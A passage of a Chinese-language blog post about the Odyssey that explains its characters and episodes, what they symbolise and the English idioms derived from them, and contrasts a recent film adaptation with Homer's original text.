&lt;/h3&gt;&lt;p&gt;Poseidon 是海神，也是独眼巨人 Polyphemus 的父亲。Odysseus 刺瞎 Polyphemus 后，Polyphemus 请求父亲惩罚他：最好让他永远不能回家；如果命运规定他必须回去，也要让他失去同伴、坐别人的船，迟到而狼狈地抵达。&lt;/p&gt;
&lt;p&gt;后面的故事基本就是这段诅咒逐项兑现。电影没有让 Poseidon 直接现身，但原著中阻拦归途的风浪有非常明确的意志和来源。&lt;/p&gt;
&lt;p&gt;Athena 与 Poseidon 的对立也很有意思。Athena 代表城市、工艺、计划和可控制的智慧；Poseidon 代表海洋、地震、风暴和无法被人类计划完全驯服的自然力量。Odysseus 再聪明，也不能说服海浪，只能在海浪允许时活下来。&lt;/p&gt;
&lt;p&gt;因此 Poseidon 在《奥德赛》中不只是一个记仇的反派。他象征的是&lt;strong&gt;人在回家路上无法通过聪明彻底消除的外部世界&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="独眼巨人-polyphemus-波吕斐摩斯以及无人的梗"&gt;独眼巨人 Polyphemus 波吕斐摩斯，以及“无人”的梗
&lt;/h3&gt;&lt;p&gt;Polyphemus 是 Poseidon 的儿子，也是最著名的 Cyclops 独眼巨人。Odysseus 和同伴进入他的洞穴，本想获得主人按照 xenia 应当提供的招待和礼物，Polyphemus 却直接抓起他们吃掉。&lt;/p&gt;
&lt;p&gt;电影保留了刺瞎巨人的行动，却删掉了原著中最出名的语言游戏。Polyphemus 问 Odysseus 叫什么，他回答：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我的名字是 &lt;strong&gt;Nobody / No one&lt;/strong&gt;，也就是“无人”。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Odysseus 先用烈酒灌醉 Polyphemus，再和同伴用烧红的木桩刺瞎他的独眼。其他独眼巨人听见 Polyphemus 惨叫，便在洞外问是谁伤害了他。Polyphemus 只能回答：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Nobody is killing me!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;“无人正在杀我！”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;其他巨人一听，既然“无人”伤害你，那大概只是生病或遭了神罚，于是全部离开。Odysseus 靠把“没人”变成“一个叫无人的人”，让 Polyphemus 连求救都说不明白。&lt;/p&gt;
&lt;p&gt;最后，Odysseus 把同伴绑在羊腹下，自己藏在最大公羊的羊毛里，从摸过每一只羊背的 Polyphemus 手下逃走。电影把这一段改成了披着灌木逃离，但原著的设计更完整：假名骗过语言，羊群骗过触觉，metis 在每一层都绕开了蛮力。&lt;/p&gt;
&lt;p&gt;然而故事没有停在“聪明人战胜笨巨人”。Odysseus 已经安全上船之后，因为忍不住炫耀真正的姓名，反而让 Polyphemus 知道应该诅咒谁。&lt;strong&gt;Nobody 让他活下来，Odysseus 这个英雄之名却给他带来了十年的灾难。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;所以 Polyphemus 一章同时象征两件事：没有法律与待客秩序的野蛮世界，以及英雄对自己名声的欲望。Odysseus 的聪明救了他，骄傲又立刻毁掉了聪明带来的成果。&lt;/p&gt;
&lt;h3 id="aeolus-埃俄罗斯与装着风的袋子"&gt;Aeolus 埃俄罗斯与装着风的袋子
&lt;/h3&gt;&lt;p&gt;电影删掉了原著中非常有意思的一站。Aeolus 是掌管风的人，他热情招待 Odysseus，并把所有会阻碍归途的风装进一个皮袋，只留下能够把船吹向 Ithaca 的西风。&lt;/p&gt;
&lt;p&gt;一切顺利到他们已经能看见故乡岸上的炊烟。Odysseus 连续掌舵多日，终于支撑不住睡着了。船员却以为他从 Aeolus 那里偷偷拿了一袋金银，不愿分给大家，于是擅自打开袋子。所有逆风一起冲出，把船从家门口重新吹回 Aeolus 的岛。&lt;/p&gt;
&lt;p&gt;Aeolus 看见他们回来，认定一个被神如此憎恨的人不应该再得到帮助，直接把他们赶走。&lt;/p&gt;
&lt;p&gt;这段情节甚至没有怪物。离家最近的一次失败，来自同伴之间的不信任、贪婪，以及 Odysseus 什么都自己扛却不肯解释。它象征一种可能比风暴更痛苦的失败：&lt;strong&gt;目标已经近在眼前，却被自己人亲手撤销。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;英语中的 &lt;strong&gt;Aeolian harp&lt;/strong&gt; 风弦琴也得名于 Aeolus：它不需要人弹奏，而是由风吹过琴弦自行发声。&lt;/p&gt;
&lt;h3 id="lotus-eaters-食忘忧莲者"&gt;Lotus-Eaters 食忘忧莲者
&lt;/h3&gt;&lt;p&gt;电影把 lotus 放到了 Calypso 手中，让 Odysseus 因此失忆。原著里这是发生在更早的一座岛上的独立故事。&lt;/p&gt;
&lt;p&gt;Odysseus 的一部分船员吃下 Lotus-Eaters 提供的 lotus 之后，没有中毒，也没有发疯，只是突然不想回家了。他们愿意永远留在那里吃 lotus，把归途、责任和过去全部忘掉。Odysseus 只能把他们强行拖回船上并绑起来。&lt;/p&gt;
&lt;p&gt;这里的 lotus 到底是哪一种现实植物没有定论，也不一定是我们今天说的荷花。重点从来不是植物学，而是它带来的遗忘。&lt;/p&gt;
&lt;p&gt;英语里的 &lt;strong&gt;lotus-eater&lt;/strong&gt; 指沉溺安逸、逃避现实、懒散度日或做白日梦的人；&lt;strong&gt;to eat lotus&lt;/strong&gt; 也曾被用来表示遗忘、不再关心现实。丁尼生的诗《食忘忧果者》又进一步强化了这个意象。&lt;/p&gt;
&lt;p&gt;如果说 Sirens 让人因为“还想知道更多”而停下，lotus 则让人因为“什么都不想再知道”而停下。两者方向相反，结果却一样：都让人忘记 nostos。&lt;/p&gt;
&lt;h3 id="calypso-卡吕普索"&gt;Calypso 卡吕普索
&lt;/h3&gt;&lt;p&gt;Calypso 是住在 Ogygia 奥吉吉亚岛上的女神或海中仙女。原著中，Odysseus 在海难后漂到她的岛上，被她强留七年。她爱 Odysseus，与他同床，甚至愿意给他永生和不老，条件是他永远留在这里。&lt;/p&gt;
&lt;p&gt;这和电影中“Calypso 用 lotus 让他忘记过去，后来又主动放走他”区别很大。原著中的 Odysseus 没有失忆，他每天都记得自己是谁，坐在海边望着家的方向哭。直到 Athena 向 Zeus 求情、Hermes 奉命要求放人，Calypso 才不得不让他离开。&lt;/p&gt;
&lt;p&gt;听起来像中了大奖，但 Odysseus 最终选择了会衰老、会死亡的 Penelope 和 Ithaca，而不是与女神共同获得永生。&lt;/p&gt;
&lt;p&gt;Calypso 的名字通常被联系到希腊语 &lt;strong&gt;kalypto&lt;/strong&gt;，也就是“遮蔽、隐藏”。她的岛正是这样一个地方：安全、富足、脱离时间，却也让 Odysseus 从人类世界中消失。&lt;/p&gt;
&lt;p&gt;因此 Calypso 不只是“诱惑男人的美女”。她更像一种温柔得多的迷失：**如果一个地方能让你永远舒服，但代价是放弃自己的身份、关系和归处，那么这还是幸福吗？**她象征永生与人生、停滞与归返之间的选择。&lt;/p&gt;
&lt;h3 id="circe-瑟西"&gt;Circe 瑟西
&lt;/h3&gt;&lt;p&gt;Circe 是住在 Aeaea 埃埃亚岛上的女巫或女神。原著中，她用食物和魔法把 Odysseus 的同伴变成猪，但这些人仍然保留着人的意识。&lt;/p&gt;
&lt;p&gt;电影把 Odysseus 反制 Circe 的办法改成了威胁她变成乌鸦的姐妹。原著里，Hermes 在路上拦住 Odysseus，给他一种名为 &lt;strong&gt;moly&lt;/strong&gt; 的神草，使他能够抵抗魔法。Odysseus 拔剑逼 Circe 立誓不再伤害自己、恢复同伴，后来两人成为情人，众人又在岛上住了整整一年。&lt;/p&gt;
&lt;p&gt;Circe 很难被简单归类成怪物。她一开始危险，后来又成为主人和帮助者：告诉 Odysseus 必须先去寻访冥界中的 Tiresias，还详细警告他怎样通过 Sirens、Scylla、Charybdis 和 Helios 的神牛。&lt;/p&gt;
&lt;p&gt;把人变成猪最直接的含义当然是让文明人的动物性显形，但 Circe 本人也象征&lt;strong&gt;变化和边界&lt;/strong&gt;：人和动物、危险的陌生人和提供帮助的主人、耽搁归途的情人与指明归途的向导，都可以在她身上互相转换。&lt;/p&gt;
&lt;h3 id="sirens-塞壬"&gt;Sirens 塞壬
&lt;/h3&gt;&lt;p&gt;Sirens 最容易被中文语境误解成美人鱼。荷马其实没有具体描写她们的外貌，古希腊艺术更常把她们画成人首鸟身的女性；鱼尾形象是后来逐渐和别的海中女妖混合出来的。&lt;/p&gt;
&lt;p&gt;她们的诱惑也不只是“歌声很好听”。Sirens 对 Odysseus 说，她们知道希腊人与特洛伊人经历的一切，也知道世上发生的一切。她们真正承诺的是&lt;strong&gt;知识&lt;/strong&gt;：停下来听，就能知道更多；代价是再也不能离开。&lt;/p&gt;
&lt;p&gt;Odysseus 既不愿放弃知识，也不愿死，于是让船员用蜡封住耳朵，把自己绑在桅杆上，并命令他们无论自己如何哀求都不能松绑。他因此成为听见 Sirens 歌声后仍然活着离开的人。&lt;/p&gt;
&lt;p&gt;英语中的 &lt;strong&gt;siren song&lt;/strong&gt; 就是“极有吸引力、却会把人引向坏结局的诱惑”。现代的警报器之所以也叫 &lt;strong&gt;siren&lt;/strong&gt;，同样来自这种无法忽略、会把注意力强行拉走的声音。&lt;/p&gt;
&lt;p&gt;Sirens 象征的不只是欲望，而是&lt;strong&gt;没有边界的求知欲和注意力诱惑&lt;/strong&gt;。Odysseus 的解决办法也很现代：他并不相信未来那个被诱惑的自己，而是提前设计约束，把选择权交给听不见诱惑的同伴。这几乎就是古希腊版本的自我绑定机制。&lt;/p&gt;
&lt;h3 id="scylla-与-charybdis斯库拉与卡律布狄斯"&gt;Scylla 与 Charybdis：斯库拉与卡律布狄斯
&lt;/h3&gt;&lt;p&gt;Scylla 是长着六个头、会从船上抓走水手的海怪；Charybdis 则是会周期性吞吐海水、足以吞没整艘船的巨大漩涡。二者分处狭窄海峡两侧，船不可能同时避开。&lt;/p&gt;
&lt;p&gt;Circe 给 Odysseus 的建议非常残酷：靠近 Scylla。这样必定失去六名水手，但总比整艘船被 Charybdis 吞掉好。&lt;/p&gt;
&lt;p&gt;英语中的 &lt;strong&gt;between Scylla and Charybdis&lt;/strong&gt; 就是“夹在两个危险之间，无论怎样选都要付出代价”，与 &lt;strong&gt;between a rock and a hard place&lt;/strong&gt; 接近。即使电影已经拍出了这两个怪物，这个固定表达也值得单独记下来。&lt;/p&gt;
&lt;p&gt;这段故事象征的是一种英雄故事很少愿意承认的事实：**优秀的领导有时也找不到所有人都能活下来的方案，只能选择可以承受的损失。**这里不再是 Polyphemus 那种靠聪明得到完胜的题目，而是一道根本没有满分答案的题。&lt;/p&gt;
&lt;h3 id="hades-冥界"&gt;Hades 冥界
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Hades&lt;/strong&gt; 既可以指冥王哈得斯，也可以指他统治的冥界。在《奥德赛》这一段里，更准确的意思是后者。它也不完全等于基督教中的 Hell：这里首先是死者共同前往的阴暗世界，不只是坏人受刑的地狱。&lt;/p&gt;
&lt;p&gt;电影让 Hades 以具体形象出现，也让 Odysseus 直接面对亡魂。原著的方式反而更像一次招魂：按照 Circe 的指示，Odysseus 航行到世界边缘，挖沟献祭，以血让亡魂暂时恢复意识。严格地说，他并没有深入地下世界，而是在生死边界召来死者；这一卷因此也常被称作 &lt;strong&gt;Nekyia&lt;/strong&gt;，即招魂、与死者交谈。&lt;/p&gt;
&lt;p&gt;他在这里见到先知 Tiresias，得知怎样回家；见到已经去世却无人告诉他的母亲 Anticleia；也见到 Agamemnon 和 Achilles。Achilles 生前选择了短暂而光荣的一生，死后却告诉 Odysseus：宁愿在人间给穷人做雇工，也不愿在死者中称王。&lt;/p&gt;
&lt;p&gt;这句话几乎反转了《伊利亚特》追求英雄荣誉的价值。Odysseus 的目标不是死后留下最响亮的名字，而是作为活人回到家中。&lt;/p&gt;
&lt;p&gt;冥界之行因此象征&lt;strong&gt;必须穿过死亡的知识，才真正理解活着和回家的价值&lt;/strong&gt;。他从死者那里获得的不只是路线情报，还有几种失败人生留下的警告。&lt;/p&gt;
&lt;h3 id="helios-赫利俄斯与太阳神牛"&gt;Helios 赫利俄斯与太阳神牛
&lt;/h3&gt;&lt;p&gt;Helios 是太阳的神格化，不要简单把他和 Apollo 阿波罗当成同一个神。在较晚的希腊罗马传统中，两者逐渐混同，但在荷马史诗里仍然是不同的神。&lt;/p&gt;
&lt;p&gt;Helios 在 Thrinacia 特里那基亚岛上养着神圣的牛羊。Tiresias 和 Circe 都提前警告 Odysseus：绝对不能伤害它们。Odysseus 也让船员发誓，可众人被风暴困在岛上、食物耗尽之后，还是趁他睡着时宰杀了神牛。&lt;/p&gt;
&lt;p&gt;他们不是“不知道”，而是在饥饿中决定赌一把。Helios 要求 Zeus 惩罚凶手，Zeus 用雷霆击毁船只，只有没有吃牛的 Odysseus 活下来。电影保留了越界和海难，却省去了 Helios 与 Zeus 的直接交涉。&lt;/p&gt;
&lt;p&gt;太阳神牛象征&lt;strong&gt;不可越过的边界，以及知道规则却无法约束欲望的后果&lt;/strong&gt;。Odysseus 能管住自己，却不能永远替所有同伴做选择，这也是他最终独自回家的直接原因。&lt;/p&gt;
&lt;h3 id="nausicaa-瑙西卡与法伊阿刻斯人"&gt;Nausicaa 瑙西卡与法伊阿刻斯人
&lt;/h3&gt;&lt;p&gt;电影删除了原著讲述海上冒险的整个框架。离开 Calypso 后，Odysseus 赤身裸体地漂到 Scheria 斯刻里亚，在河边遇见正在洗衣服的公主 Nausicaa。面对一群受惊的少女，他没有直接扑上去求助，而是保持距离，用非常谨慎的语言请求衣物和指引。&lt;/p&gt;
&lt;p&gt;Nausicaa 把他带到父亲 Alcinous 和母亲 Arete 的宫廷。法伊阿刻斯人先按照 xenia 招待这个身份不明的陌生人，后来 Odysseus 听见诗人歌唱特洛伊战争，忍不住落泪，才终于说出自己是谁，并讲述 Polyphemus、Circe、Sirens 等经历。&lt;/p&gt;
&lt;p&gt;换句话说，我们今天最熟悉的“奥德修斯海上大冒险”，在原著里其实是一场宴会上的第一人称回忆。Odysseus 既是故事主人公，也是一个极其擅长控制信息的讲述者。他告诉别人什么、隐瞒什么，未必完全可靠。&lt;/p&gt;
&lt;p&gt;法伊阿刻斯人最后用快船把熟睡的 Odysseus 和大量礼物一起送回 Ithaca。他们象征 xenia 的理想答案，也像是连接神怪世界与人类社会的最后一座桥：&lt;strong&gt;Odysseus 先把自己的经历讲成故事，才能真正离开故事，回到现实中的家。&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="奥德赛人物速通"&gt;《奥德赛》人物速通
&lt;/h2&gt;&lt;h3 id="odysseus-与-odyssey以及-ulysses"&gt;Odysseus 与 Odyssey，以及 Ulysses
&lt;/h3&gt;&lt;p&gt;Odysseus 是伊萨卡国王、Penelope 的丈夫、Telemachus 的父亲，也是特洛伊木马计策最重要的策划者之一。他最典型的称号是 &lt;strong&gt;polytropos&lt;/strong&gt;，大致可以理解成“有许多转向的”“足智多谋的”“经历许多漂泊的”。这个词很难一次翻完，因为它既形容他的旅途曲折，也形容他的脑子很会转弯。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Odyssey&lt;/strong&gt; 原本就是“关于 Odysseus 的故事”这个希腊语书名。后来专有名词进入英语，又变成小写的普通名词 &lt;strong&gt;odyssey&lt;/strong&gt;，表示漫长、曲折、充满意外的旅程或经历。它不只是普通的 adventure，而通常带有“走了很久，经历许多阶段，最终抵达或改变”的感觉。&lt;/p&gt;
&lt;p&gt;Odysseus 还有一个在英语文学里极其常见的名字：&lt;strong&gt;Ulysses 尤利西斯&lt;/strong&gt;。这是他的拉丁语名称。丁尼生的诗《Ulysses》、詹姆斯·乔伊斯的小说《Ulysses》，讲的都是这个名字背后的 Odysseus。以后看到 Ulysses，不要以为又多了一个完全不认识的人。&lt;/p&gt;
&lt;p&gt;Odysseus 的名字本身常被古人联系到“愤怒、憎恨、使人痛苦”一类希腊语动词，但真实词源并没有定论。比词源更重要的是他身上的矛盾：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;他象征 metis、忍耐、适应和对归乡的坚持；&lt;/li&gt;
&lt;li&gt;他也虚荣、会撒谎、会犯错，有时为了自己的名声让同伴承担代价；&lt;/li&gt;
&lt;li&gt;他不是靠道德上完美而成为英雄，而是靠无论被剥去多少身份，仍能想办法重新成为自己。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以 &lt;strong&gt;Odysseus 象征的并不是纯粹的勇敢，而是人在一个不可控制的世界里保持目的、不断改换方法的能力。&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="妻子-penelope-佩涅洛佩"&gt;妻子 Penelope 佩涅洛佩
&lt;/h3&gt;&lt;p&gt;Penelope 表面上是“等待丈夫二十年的妻子”，但如果认真看原著，她其实是整部史诗里最聪明、最会维持政治秩序的人之一。&lt;/p&gt;
&lt;p&gt;有一个非常著名的“织布诡计”。&lt;/p&gt;
&lt;p&gt;Odysseus 失踪后，伊萨卡的贵族们不断逼她再嫁。她很难直接无限期拒绝，因为所有人都认为 Odysseus 大概率已经死亡。于是她提出：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;等我把给公公 Laertes 织的裹尸布织完，我就选择新的丈夫。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;她白天织，晚上拆，连续三年用这个办法拖延求婚者，最后被一个女仆告密，求婚者才发现。&lt;/p&gt;
&lt;p&gt;织布不只是“聪明女人想了个计策”。它还象征 Penelope 对时间和秩序的控制：每天过去，求婚者都在消耗 Odysseus 的家产；她没有军队，不能公开驱逐他们，只能让“选择新丈夫的那一天”始终无法到来。她白天推进时间，夜里再把时间拆掉。&lt;/p&gt;
&lt;p&gt;电影保留了织布，却删掉了原著结尾最重要的“婚床测试”。Odysseus 已经回来并杀掉求婚者之后，Penelope 仍然不敢完全相信。她故意吩咐女仆把两人的婚床搬出去，Odysseus 立刻愤怒了，因为那张床根本搬不走：他以一棵仍然活着的橄榄树作为床柱，围绕它修建了整间卧室。&lt;/p&gt;
&lt;p&gt;只有真正的 Odysseus 才知道这个秘密。Penelope 终于确认，眼前的人就是自己的丈夫。&lt;/p&gt;
&lt;p&gt;可以把这则故事理解成古代版本的基于知识的身份验证。但那张无法移动的床还有更深一层含义：二十年里，Odysseus 一直在移动，Penelope 一直在等待；最后证明两人身份的，恰恰是一个扎根土地、不能移动的共同造物。它象征婚姻、家庭和 Ithaca 仍然存在的根基。&lt;/p&gt;
&lt;p&gt;在后世文化中，Penelope 经常象征忠贞的妻子。但只用“忠贞”概括她其实太可惜了。她和 Odysseus 是同一种聪明的两种形态：&lt;strong&gt;Odysseus 在外部世界靠计谋移动，Penelope 在家中靠计谋维持不动。&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="长子-telemachus-忒勒马科斯"&gt;长子 Telemachus 忒勒马科斯
&lt;/h3&gt;&lt;p&gt;如果说《奥德赛》的一半讲“Odysseus 回家”，另一半其实就是 Telemachus 成长为能够迎接父亲回家的儿子。&lt;/p&gt;
&lt;p&gt;Odysseus 出征特洛伊时，Telemachus 还是个婴儿。战争十年，漂泊又十年，父子实际上几乎没有共同生活过。等故事开始时，儿子已经成年，却只认识别人讲述中的父亲。&lt;/p&gt;
&lt;p&gt;《奥德赛》前四卷通常被称为 &lt;strong&gt;Telemachy 忒勒马科斯篇&lt;/strong&gt;。开头的主要问题不是“Odysseus 在哪里”，而是“Telemachus 要怎么办”。&lt;/p&gt;
&lt;p&gt;求婚者们占据宫殿，吃 Odysseus 的牲畜，喝他的酒，花他的钱，追求 Penelope，根本不把 Telemachus 当成真正的主人。他一开始没有能力处理他们，于是 Athena 鼓励他离开家，去寻找父亲的消息。&lt;/p&gt;
&lt;p&gt;他先去 Pylos 找 Nestor，再去 Sparta 找 Menelaus 和 Helen。这段旅程本身就是他的成年礼：他学习怎样在公共场合说话、怎样作为客人和主人行动，也从父亲的战友那里拼出“Odysseus 是谁”。&lt;/p&gt;
&lt;p&gt;Telemachus 象征的是&lt;strong&gt;成长、继承，以及一个从未真正见过父亲的孩子如何建立自己的身份&lt;/strong&gt;。他最终不是因为父亲回来才突然成为成年人；恰恰相反，是他先开始行动，才有能力在父亲回来时和他并肩作战。&lt;/p&gt;
&lt;h3 id="忠仆-eumaeus-欧迈俄斯"&gt;忠仆 Eumaeus 欧迈俄斯
&lt;/h3&gt;&lt;p&gt;Eumaeus 是 Odysseus 最忠诚的仆人之一，准确说是养猪人。Odysseus 回到 Ithaca 后，第一个投奔的不是王宫，而是 Eumaeus 的猪圈。&lt;/p&gt;
&lt;p&gt;Eumaeus 并没有认出伪装成乞丐的主人，却仍然拿出自己有限的食物招待他，还说所有陌生人和乞丐都受 Zeus 保护。这让他成为 xenia 的正面代表：一个社会地位很低的人，比宫殿里所有贵族都更理解神和人的秩序。&lt;/p&gt;
&lt;p&gt;原著还特意给了他一段身世：Eumaeus 本来是国王之子，小时候被人拐卖，后来成为 Odysseus 家的奴仆。荷马叙述时多次直接称呼“你，Eumaeus”，这是史诗中非常少见的亲近语气。&lt;/p&gt;
&lt;p&gt;电影把他改编成了近乎失明的老人，原著里的 Eumaeus 并不盲。这个改编没有明确的官方解释，但我很容易联想到“荷马是盲诗人”的古老传说：一个看不清眼前乞丐真实面貌，却保存着主人记忆、讲述过去的人，确实很像被放进故事内部的叙述者形象。当然，这只能算我的解读，不能当成诺兰已经确认的意图。&lt;/p&gt;
&lt;p&gt;Eumaeus 最稳定的象征意义仍然是&lt;strong&gt;忠诚、待客，以及身份高低与道德高低并不是一回事&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="忠犬-argos-阿尔戈斯"&gt;忠犬 Argos 阿尔戈斯
&lt;/h3&gt;&lt;p&gt;Argos 是 Odysseus 的狗。Odysseus 离开 Ithaca 二十年，它从年轻的猎犬变成了躺在粪堆旁、满身虱子的垂死老狗。Odysseus 终于回到故土时，几乎所有人都认不出伪装后的他，Argos 却抬起耳朵、摇了摇尾巴。&lt;/p&gt;
&lt;p&gt;Odysseus 不能走过去安抚它，只能继续装作不认识，偷偷擦去眼泪。Argos 看见主人之后，终于咽下最后一口气。&lt;/p&gt;
&lt;p&gt;这段很短，但真的很感人。人会被年龄、衣服、地位和谎言欺骗，狗却越过全部伪装认出了二十年前的主人。&lt;/p&gt;
&lt;p&gt;Argos 因此既象征&lt;strong&gt;跨越时间的忠诚和辨认&lt;/strong&gt;，也象征 Odysseus 缺席时整个家的衰败。曾经优秀的猎犬无人照顾，正如曾经有秩序的王宫已经被求婚者吃空。Odysseus 回家不只是回到一个地址，而是回来挽救一个已经快要死去的世界。&lt;/p&gt;
&lt;h3 id="头号恶人-antinous-安提诺俄斯"&gt;头号恶人 Antinous 安提诺俄斯
&lt;/h3&gt;&lt;p&gt;Antinous 是伊萨卡王宫里最傲慢、暴力的求婚者，也是计划杀死 Telemachus 的主要人物。&lt;/p&gt;
&lt;p&gt;他和其他求婚者一起霸占 Odysseus 的宫殿，挥霍他的财产，逼迫 Penelope 选择丈夫。他还羞辱伪装成乞丐的 Odysseus，完全违反 xenia。最终决战开始时，他正举杯喝酒，成为 Odysseus 第一箭射杀的人。&lt;/p&gt;
&lt;p&gt;他的名字也很有意思。希腊语 &lt;strong&gt;Antinoos&lt;/strong&gt; 常被拆成：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;anti-&lt;/code&gt;：相对、对立；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;noos / nous&lt;/code&gt;：心智、思想、理智。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此这个名字经常被读成“与理智对立的人”。不过这本来也是古希腊真实使用的人名，不能只因为拆词就断言荷马在给反派贴一个直白标签。把它当成一层很合适的文字趣味就够了。&lt;/p&gt;
&lt;p&gt;Antinous 最明确的象征是 &lt;strong&gt;hubris&lt;/strong&gt;，也就是傲慢到越过神与人的边界。他以为 Odysseus 永远不会回来，也以为客人的身份可以保护自己无限掠夺主人，最后却死在被他侵占的家中。&lt;/p&gt;
&lt;p&gt;原著中还有第二个求婚者领袖 Eurymachus 欧律马科斯。他更圆滑、善于欺骗，事情败露后还试图把全部责任推给已经死去的 Antinous。电影把两人的不少作用集中到了 Antinous 身上，公开演员表中也没有单列 Eurymachus。&lt;/p&gt;
&lt;p&gt;原著里的 Eurymachus 与女仆 Melantho 私通。Melantho 是 Penelope 从小养大的女仆，却“不顾女主人的悲痛”，站到了求婚者一边。原文写得非常直接：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;she loved Eurymachus and was wont to lie with him.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;电影把这段关系也转移给了 Antinous，所以他在电影中几乎成了所有求婚者越界行为的集中体现。&lt;/p&gt;
&lt;h3 id="统帅-agamemnon-阿伽门农"&gt;统帅 Agamemnon 阿伽门农
&lt;/h3&gt;&lt;p&gt;Agamemnon 是迈锡尼国王、Menelaus 的哥哥，也是特洛伊战争中希腊联军的统帅。他和 Odysseus 一样踏上归途，却得到一个完全相反的结局：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Odysseus → 漂泊十年 → 谨慎回到 Ithaca → 复夺家庭和王位
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Agamemnon → 顺利回家 → 毫无防备地进入宫殿 → 被妻子和情人杀死
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Agamemnon 的妻子 Clytemnestra 与 Aegisthus 合谋杀死了他。在后来的希腊悲剧传统中，她的复仇又有更早的原因：Agamemnon 出征前献祭了两人的女儿 Iphigenia。这个家庭的每一次暴力都在为下一次暴力制造理由。&lt;/p&gt;
&lt;p&gt;《奥德赛》第 11 卷中，Odysseus 在冥界见到 Agamemnon 的亡魂。Agamemnon 讲述自己如何被谋杀，警告他回家后不要毫无防备。当时 Odysseus 还不知道 Ithaca 已经被求婚者占领，因此这个故事非常实际：回家本身可能才是最危险的部分。&lt;/p&gt;
&lt;p&gt;Agamemnon 在《奥德赛》中是 Odysseus 的&lt;strong&gt;反面归乡样本&lt;/strong&gt;。两人都赢得战争，只有一个人重新赢回家庭。另一方面，Agamemnon 的儿子 Orestes 为父报仇，又被反复讲给 Telemachus 听，成为“儿子应该在父亲缺席时做什么”的参照。&lt;/p&gt;
&lt;p&gt;所以 Agamemnon 象征的不是单纯的失败，而是&lt;strong&gt;战场上的胜利无法自动兑换成家庭中的秩序&lt;/strong&gt;。一个人可以征服特洛伊，仍然不了解自己回到的家。&lt;/p&gt;
&lt;h3 id="menelaus-墨涅拉俄斯helen-海伦与-proteus-普罗透斯"&gt;Menelaus 墨涅拉俄斯、Helen 海伦与 Proteus 普罗透斯
&lt;/h3&gt;&lt;p&gt;Menelaus 是斯巴达国王、Helen 的丈夫、Agamemnon 的弟弟。Helen 被特洛伊王子 Paris 带走，成为特洛伊战争爆发的直接导火索，Menelaus 因而是战争的核心当事人之一。&lt;/p&gt;
&lt;p&gt;电影直接说出了形容 Helen 最著名的一句话：&lt;strong&gt;the face that launched a thousand ships&lt;/strong&gt;，也就是“让千艘战船起航的那张脸”。但这句话并不出自荷马，而来自英国剧作家 Christopher Marlowe。后来它变成了形容一种美貌足以引发巨大行动或灾难的固定文化引用。&lt;/p&gt;
&lt;p&gt;Helen 因而经常象征美、欲望和战争的代价，但《奥德赛》中的她并不是一个没有思想的奖品。她与 Menelaus 对特洛伊往事的回忆甚至互相制造了一点不安：Helen 说自己曾识破潜入城中的 Odysseus，却没有出卖他；Menelaus 则回忆木马藏在城中时，Helen 绕着木马模仿希腊将领妻子的声音，差点诱使里面的人回应。她究竟站在哪一边，始终带有暧昧。&lt;/p&gt;
&lt;p&gt;Menelaus 的归途也很艰难。他在海上漂泊多年，经过埃及等地，最后抓住能够不断变形的海中老人 &lt;strong&gt;Proteus&lt;/strong&gt;，才逼问出回家的方法以及 Odysseus 仍然活着的消息。&lt;/p&gt;
&lt;p&gt;英语形容词 &lt;strong&gt;protean&lt;/strong&gt; 就来自 Proteus，意思是“变化多端的、能不断改变形式的”。这又是一个平时可能见过，却不知道背后站着谁的单词。&lt;/p&gt;
&lt;p&gt;在 Telemachy 中，Telemachus 先去 Pylos 找 Nestor，再到 Sparta 见 Menelaus 和 Helen。Menelaus 因此是确认“Odysseus 还活着”的重要信息来源。&lt;/p&gt;
&lt;p&gt;从结构上看，Menelaus 是另一种成功的 nostos：他同样漂泊，同样经历海难，最后还是和 Helen 回到斯巴达。但他的宫殿富丽、生活平静，战争留下的记忆却并没有消失。&lt;strong&gt;他象征幸存者的归来：确实回到了家，却不代表一切都能恢复成战争前的样子。&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="父亲-laertes-拉厄尔忒斯"&gt;父亲 Laertes 拉厄尔忒斯
&lt;/h3&gt;&lt;p&gt;Laertes 是 Odysseus 年迈的父亲，也是 Penelope 所织裹尸布的主人。电影完全删除了这个人物，但原著直到最后一卷仍然在处理 Odysseus 与父亲的关系。&lt;/p&gt;
